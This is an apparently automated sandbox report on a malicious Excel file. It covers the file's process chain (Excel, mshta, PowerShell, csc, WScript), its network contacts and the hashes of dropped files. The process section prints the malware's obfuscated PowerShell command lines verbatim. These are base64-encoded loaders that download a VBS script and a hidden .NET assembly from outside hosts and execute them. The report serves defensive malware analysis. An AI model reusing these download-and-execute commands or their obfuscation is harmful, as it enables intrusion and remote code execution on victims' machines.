Malware Analysis Report

2024-12-07 16:49

Sample ID 241113-dpkw4swbmq
Target ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls
SHA256 ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed
Tags
defense_evasion discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed

Threat Level: Known bad

The file ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls was found to be: Known bad.

Malicious Activity Summary

defense_evasion discovery execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Blocklisted process makes network request

Drops file in System32 directory

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

Modifies Internet Explorer settings

Checks processor information in registry

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 03:11

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 03:11

Reported

2024-11-13 03:13

Platform

win7-20241010-en

Max time kernel

141s

Max time network

143s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2808 wrote to memory of 2752 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE
PID 2808 wrote to memory of 2752 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE
PID 2808 wrote to memory of 2752 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE
PID 2808 wrote to memory of 2752 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE
PID 2752 wrote to memory of 2916 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2752 wrote to memory of 2916 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2752 wrote to memory of 2916 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2752 wrote to memory of 2916 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2752 wrote to memory of 1496 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2752 wrote to memory of 1496 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2752 wrote to memory of 1496 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2752 wrote to memory of 1496 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1496 wrote to memory of 2864 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1496 wrote to memory of 2864 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1496 wrote to memory of 2864 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1496 wrote to memory of 2864 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2752 wrote to memory of 316 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WScript.exe
PID 2752 wrote to memory of 316 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WScript.exe
PID 2752 wrote to memory of 316 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WScript.exe
PID 2752 wrote to memory of 316 N/A C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE C:\Windows\SysWOW64\WScript.exe
PID 316 wrote to memory of 2564 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 316 wrote to memory of 2564 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 316 wrote to memory of 2564 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 316 wrote to memory of 2564 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2564 wrote to memory of 824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2564 wrote to memory of 824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2564 wrote to memory of 824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2564 wrote to memory of 824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE

"C:\Windows\SYSteM32\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE" "poWERSheLL.ExE -ex BYPASs -nOP -W 1 -c dEViCECRedeNTIaLdePLOymenT ; IeX($(IeX('[SYsTEM.TEXT.EncodiNG]'+[CHar]58+[CHAR]0x3a+'UTF8.GetStRing([sYSTEm.coNverT]'+[chaR]0x3A+[chaR]58+'froMbase64String('+[cHAR]0x22+'JGtrUUk4aCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRXJkRUZpbklUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVWcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV6bSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0dqbVhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWVZsc3VVTixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3FCamhCSkdxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdmV0NjeUhvR0wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2tRSThoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xOTIvMzUvc2VldGhlYmVzdGdpcmxzZXZlcmRpZGJlc3R0aGlnbnN3aXRobXlzZWxmLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0Z2lybHNldmVyZGlkYmVzdHRoaWducy52YnMiLDAsMCk7c1RBclQtU2xlRXAoMyk7c3RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0Z2lybHNldmVyZGlkYmVzdHRoaWducy52YnMi'+[cHar]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPASs -nOP -W 1 -c dEViCECRedeNTIaLdePLOymenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5at7xksl.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCB7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCB79.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestgirlseverdidbestthigns.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRQc2hPTWVbNF0rJHBzSG9tRVszMF0rJ3gnKSggKCgnQU04aW1hZ2VVcmwgPSB5OWNuaHR0cHM6Ly8xMDE3LmZpbGVtJysnYWlsLmNvbS9hJysncGkvZicrJ2lsZS9nZXQ/ZmlsZWtleT0yQWFfYldvOVJldTQ1dDdCVTEnKydrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY18nKydUMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiB5OWNuO0FNOHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7QU04aW1hZ2VCeXRlcyA9IEFNJysnOHdlYkNsaWVudC5Eb3dubG9hZERhdGEoQU04aW1hZ2UnKydVcmwpO0FNOGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEFNJysnOGltYWdlQnl0ZScrJ3MpO0FNOHN0YXJ0RmxhZyA9IHk5Y248PCcrJ0JBU0U2NF9TVEFSVD4+eTljbjtBTThlbmRGbGFnJysnID0geTljbjw8QkEnKydTRTY0JysnX0VORD4+eTljbjtBTThzdGFydEluZGV4ID0gQScrJ004aW1hZ2VUZXh0LicrJ0luJysnZGV4T2YoQU04c3RhcnRGbGFnJysnKTtBJysnTThlbmRJbmRleCA9IEFNOGltYWdlVGV4dC5JbmRleE9mKEFNOGVuZEZsYWcpO0FNOHN0YXJ0SW5kZXggLWdlIDAgLWFuZCBBTThlbmRJbmRleCAtZ3QgQU04c3RhcnRJbicrJ2QnKydleDtBTThzdGFydEluZGV4ICs9IEFNOHN0YXJ0RmxhZy5MZScrJ25ndCcrJ2g7QU04YmFzZTY0TGVuZ3RoID0gQU04ZW5kSW5kZXggLSBBTThzdGFydEluZGV4JysnO0FNOGJhc2U2NENvbW1hbmQgPSBBTThpbWFnZVRleHQuU3ViJysnc3RyaScrJ25nKEFNOHN0YXJ0SW5kZXgsIEFNOGJhc2U2NExlbmd0aCk7JysnQU04JysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoQU04YmFzZTY0Q29tbWFuZC4nKydUb0NoYXJBcnJheSgpIFBNVzYgRm9yRWFjaC1PYmplY3QgeyBBTThfIH0pWy0xLi4tKEFNOGJhc2UnKyc2NENvbW1hbmQuTGVuZ3RoKV07JysnQU0nKyc4Y29tbWFuJysnZEJ5dGVzID0gW1MnKyd5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhBTThiYXNlNjRSZXZlcnNlZCk7QU04bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKEFNOGNvbW1hbmRCeXRlcyk7QU04dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh5OWNuVkFJeTljbik7QU04dmFpTWV0aG9kLkknKydudm9rZShBTThudWxsLCBAKHk5Y250eHQuRVJGVkdSRkUvNTMvMjkxLjg3MS42NC44OTEvLzpwdHRoeTljbiwgeTljbmRlc2F0JysnaXZhZG95OWNuLCB5OWNuZGVzYXRpdmFkb3k5Y24nKycsIHk5Y25kZXNhdGl2YWRveTljbiwgeTljbkNhc1BvbHk5YycrJ24sIHk5Y25kZXNhdGl2YWRveScrJzljbiwgeTljbmRlc2F0aXZhZG95OWNuLHk5Y25kZXNhdGl2YWRveTljJysnbix5OWNuZGVzYXRpdmFkb3k5Y24seTljbmRlc2F0aXZhZG95OWNuLHk5JysnY25kZXNhdGl2YWRveTljbix5OWNuZGVzYXQnKydpdmFkb3k5Y24seTljbjF5OWNuLHk5Y25kZXNhdGl2YWRveTljbikpOycpICAtY1JlcGxBY2UnUE1XNicsW0NoQVJdMTI0ICAtY1JlcGxBY2UoW0NoQVJdMTIxK1tDaEFSXTU3K1tDaEFSXTk5K1tDaEFSXTExMCksW0NoQVJdMzktcmVQTEFjZShbQ2hBUl02NStbQ2hBUl03NytbQ2hBUl01NiksW0NoQVJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $PshOMe[4]+$psHomE[30]+'x')( (('AM8imageUrl = y9cnhttps://1017.filem'+'ail.com/a'+'pi/f'+'ile/get?filekey=2Aa_bWo9Reu45t7BU1'+'kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_vid=fd4f614bb209c62c1730945176a0904f y9cn;AM8webClient = New-Object System.Net.WebClient;AM8imageBytes = AM'+'8webClient.DownloadData(AM8image'+'Url);AM8imageText = [System.Text.Encoding]::UTF8.GetString(AM'+'8imageByte'+'s);AM8startFlag = y9cn<<'+'BASE64_START>>y9cn;AM8endFlag'+' = y9cn<<BA'+'SE64'+'_END>>y9cn;AM8startIndex = A'+'M8imageText.'+'In'+'dexOf(AM8startFlag'+');A'+'M8endIndex = AM8imageText.IndexOf(AM8endFlag);AM8startIndex -ge 0 -and AM8endIndex -gt AM8startIn'+'d'+'ex;AM8startIndex += AM8startFlag.Le'+'ngt'+'h;AM8base64Length = AM8endIndex - AM8startIndex'+';AM8base64Command = AM8imageText.Sub'+'stri'+'ng(AM8startIndex, AM8base64Length);'+'AM8'+'base64Reversed = -join (AM8base64Command.'+'ToCharArray() PMW6 ForEach-Object { AM8_ })[-1..-(AM8base'+'64Command.Length)];'+'AM'+'8comman'+'dBytes = [S'+'ystem.Convert]::FromBase64String(AM8base64Reversed);AM8loadedAssembly = [System.Reflection.Assembly]::Load(AM8commandBytes);AM8vaiMethod = [dnlib.IO.Home].GetMethod(y9cnVAIy9cn);AM8vaiMethod.I'+'nvoke(AM8null, @(y9cntxt.ERFVGRFE/53/291.871.64.891//:ptthy9cn, y9cndesat'+'ivadoy9cn, y9cndesativadoy9cn'+', y9cndesativadoy9cn, y9cnCasPoly9c'+'n, y9cndesativadoy'+'9cn, y9cndesativadoy9cn,y9cndesativadoy9c'+'n,y9cndesativadoy9cn,y9cndesativadoy9cn,y9'+'cndesativadoy9cn,y9cndesat'+'ivadoy9cn,y9cn1y9cn,y9cndesativadoy9cn));') -cReplAce'PMW6',[ChAR]124 -cReplAce([ChAR]121+[ChAR]57+[ChAR]99+[ChAR]110),[ChAR]39-rePLAce([ChAR]65+[ChAR]77+[ChAR]56),[ChAR]36) )"

Network

Country Destination Domain Proto
US 8.8.8.8:53 4t.gg udp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.82:80 r10.o.lencr.org tcp
US 198.46.178.192:80 198.46.178.192 tcp
KR 221.146.204.133:443 4t.gg tcp
US 198.46.178.192:80 198.46.178.192 tcp
US 198.46.178.192:80 198.46.178.192 tcp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

memory/2036-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2036-1-0x0000000072B4D000-0x0000000072B58000-memory.dmp

memory/2036-17-0x0000000002D80000-0x0000000002D82000-memory.dmp

memory/2808-16-0x0000000002650000-0x0000000002652000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 7c1a4d62b399e711573d31298bbe6640
SHA1 47b630a2731faea00fc8b2ad964817dbeaaf21e8
SHA256 dbbb899e483d86bfeb95509cd9bafe68b38b7c22fed3d226b9e78942fa2c8d07
SHA512 1ff116bbdc9be1bba86184ee511d908f5d9148450b6b686f5a0b0f5904f7d0b40b4f0c9e092cb21e6cd0b07717410be1986e9055ea244f78c02fa9e050767e1f

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1

MD5 daec83e43d2607b39ff7d558dfad6da5
SHA1 56bc866132985e4a5b7676350c147d4f3eabaced
SHA256 bc67f93d010e3b8b63ebcbde2216de6655c70c9e661bd2fdab90c7c9b00de0c0
SHA512 a7822ad08ebe5fce52af9c8c343ea9abaaba8377f901d3913a176a43104453adfd9f067654fddeae79d868ab3af2dc86f90a99df74e825b3352f96832cab7f2c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1

MD5 fca2d4075e78fd8330d5590ee560451b
SHA1 b7ab976b0f45facd4a29a6aded52515523cd756b
SHA256 9f9f330b74a23eac5552db138565085b9a57c32dc746c3ad230659ad37ddc689
SHA512 f0adf4b6d64229f3c8dee585a80a7e8e1614251318be226bbf5af21779bf7ffac0d9f9858525e5388f00b9547984dae737d022d0cce4ba4c66936383bf55f991

C:\Users\Admin\AppData\Local\Temp\CabC014.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\seethebestthingswithgoodthingswithgreatthignsfor[1].hta

MD5 c9d3eb12917bbe42af6b4f091caf5796
SHA1 a88fc365c18e643a27984d6a7436c91c49a21717
SHA256 7bd8a55560444bfe912702828550bcb7efcfb86a70a13c5d2c2e1035ae32e9d3
SHA512 fbcceaea137312e23f0480265b1e8e10c7f68f73346b08595a2e8b6b7d56f6fd764d1f6948da57f0e129019e71d0e2039924e4df0bc757fb7554ea1346aa96f5

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 d4e2fc8d92bd9f2ba78792772def45bc
SHA1 c5dfe563e030667fec64424a4e8e3542254db99e
SHA256 3209af7f2bc7486695548872ba5c5218e3eec08dcf86b18a4d4c37fdf22a45a6
SHA512 27baafb97c5bb277fb7303287fbef3313991e6fdabd58e0ba7ada303bc590fa81ef411b023085b931b80394e388df3d260bbb91e6ea759a0b19e255a4708005b

\??\c:\Users\Admin\AppData\Local\Temp\5at7xksl.cmdline

MD5 0e70274036480ac9e27b2b2e5a76af45
SHA1 03be377cee21c3018d6daf705ca79ddc8ea3d5e3
SHA256 5b2501ea3ab8629392e77f33ec4842708aab19d3ecfafd35230777478a1a8cf8
SHA512 c2925b0a7fe7b3011f696922be4e985e0e8088d7102c9e4fc88b86b934ab9b92105f804d18e222ef5a092bd3ab14c569c8058f95482c3062a18b352bc9a84359

\??\c:\Users\Admin\AppData\Local\Temp\5at7xksl.0.cs

MD5 39d4a6691d37c11ed58d537b74f12aad
SHA1 caa119f2a0ad6f53ddb8a2447b379ac5ed11c1d6
SHA256 0ad0cda12412bd6fa525c0e4f876fb02a55a98e7555e5a43423c577465611df1
SHA512 f4d2f58e0c3a15aec4dd83b4268e9a4c1f3b5ef3c735204457e2115b9835af874f4d34b7311a182e7b395888b523e9f46bb8b6ca08db60ad9eda04b89013813c

\??\c:\Users\Admin\AppData\Local\Temp\CSCCB79.tmp

MD5 953c8aa4365a60938a68127c50cdec2a
SHA1 22d8d9a1e123b845138353fa8a270596f4bfe0d9
SHA256 c0db1d16045052175100d5e508d35685ce0a3ebc2bd34712b270c7a930d0bd4f
SHA512 300ab144bd1b65bec3b875730652eb4159bae6c98c45d05919bd4645fbde4984684e5ebfba3313abf23337dccaac58ab3e73784e69cabe12d32c7250fd5b1654

C:\Users\Admin\AppData\Local\Temp\RESCB7A.tmp

MD5 5b502b2a58db1a2320291b047a20f6ba
SHA1 30161587307a8b2267321f3c47ca72552519ea6c
SHA256 85f3fec39d0e172b67ac758c61eacc81d1681bb008961ae8ff60060dff597dd0
SHA512 81381c86e777ec1ff24b02281b2aefc2d71f9051bb8f4ca8602308f70efdbd0ac03cf5773dbaed9322d11c76db15ff7e87088b048f41fdd5267655dbb78ef0c9

C:\Users\Admin\AppData\Local\Temp\5at7xksl.dll

MD5 b0be866e43772196e6c98eb99f101977
SHA1 a93c6738d75accd8e9979388e83cd6da8cbf253b
SHA256 3d3b0340b545fb32528400aaaf4150b2b29f3fe40b23172d6fe6d5e85da0f410
SHA512 4b026fda52ce396af92a73388163ce2cf4d1ce7c2bafa99e16ad38c40570c6f51554c31e4b7a597102467b34b69d064f000d994501405db967caf0b8cf65212f

C:\Users\Admin\AppData\Local\Temp\5at7xksl.pdb

MD5 e331bf05c1898bd865a9b86026ed0eb1
SHA1 8f09a534e78cfb21f9d59f58e00df6f12d1aa615
SHA256 1b2c8a3c18c9c2089c13a2b8ac0530567712a6e1d3e3308a7daf58bd04052315
SHA512 5fa3f18bd020720879e0bd63a2286fc7f13b15bdf186f5b3ba06d5739f0263f88fe3d3c8c4157a907726cbfce9031adc3fa399a6ee440f8b241bad5b504f342d

memory/2036-60-0x0000000072B4D000-0x0000000072B58000-memory.dmp

C:\Users\Admin\AppData\Roaming\seethebestgirlseverdidbestthigns.vbs

MD5 8e033f9bcfdc081ed84adcbf69b2cfed
SHA1 29919300cdba9322ec872189cea15ff7d573fc42
SHA256 4d489671247459e4b2c1403511606a2463199f1a5044d7e1841e5387b8c86e0a
SHA512 58fca96df828c75274613291f1048228076ef0516d4bcdd4e51cba3d9c9c566b6ce5f03387bfd60cb627bbd8a799b37593fd3624574afd50f6df6f9777754ac0

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 03:11

Reported

2024-11-13 03:13

Platform

win10v2004-20241007-en

Max time kernel

145s

Max time network

139s

Command Line

